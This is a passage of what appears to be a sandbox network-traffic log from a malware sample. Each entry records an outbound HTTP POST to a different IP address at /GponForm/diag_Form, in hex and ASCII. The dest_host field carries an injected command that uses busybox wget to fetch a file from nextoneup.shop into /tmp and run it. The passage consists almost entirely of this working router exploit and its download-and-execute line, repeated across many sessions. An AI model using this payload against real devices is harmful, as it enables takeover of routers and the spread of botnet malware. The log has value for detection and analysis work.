912	192.168.2.23	32866	2.178.213.118	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274612904 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
913	192.168.2.23	57956	148.134.181.196	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274708033 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
914	192.168.2.23	47692	37.16.15.153	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274738073 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
915	192.168.2.23	46474	148.46.196.162	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274740934 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
916	192.168.2.23	55794	210.247.122.154	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274805069 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
917	192.168.2.23	36058	210.168.140.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274842978 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
918	192.168.2.23	48520	2.205.153.150	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274883032 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
919	192.168.2.23	60084	148.183.195.187	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274909019 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
920	192.168.2.23	59914	117.119.195.182	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.274966955 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
921	192.168.2.23	51476	42.135.13.50	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275052071 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
922	192.168.2.23	47452	210.91.186.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275063992 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
923	192.168.2.23	41488	178.250.191.74	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275099039 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
924	192.168.2.23	56858	212.6.13.67	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275155067 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
925	192.168.2.23	51308	2.99.118.251	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275190115 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
926	192.168.2.23	50758	178.89.67.94	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275237083 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
927	192.168.2.23	54784	94.31.103.115	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275362015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
928	192.168.2.23	43610	123.50.123.122	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275362015 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
929	192.168.2.23	51096	109.232.253.63	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275373936 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
930	192.168.2.23	53910	202.5.245.23	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275424004 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
931	192.168.2.23	53024	118.138.192.103	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275491953 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
932	192.168.2.23	53956	148.106.167.185	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275517941 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
933	192.168.2.23	55968	5.169.62.148	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275537968 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
934	192.168.2.23	51790	117.145.11.5	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275594950 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
935	192.168.2.23	45628	79.175.243.28	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275641918 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
936	192.168.2.23	60694	5.170.237.22	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275702000 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://nextoneup.shop/bin+-O+/tmp/gaf;sh+/tmp/gaf`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
937	192.168.2.23	34212	37.162.121.120	443

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:12.275748014 CEST	305	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: Hello, World Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 62 69 6e 2b 2d 4f 2b 2f 74 6d 70 2f 67 61 66 3b 73 68 2b 2f 74 6d 70 2f 67 61 66 60 26 69 70 76 3d 30 Data Ascii: 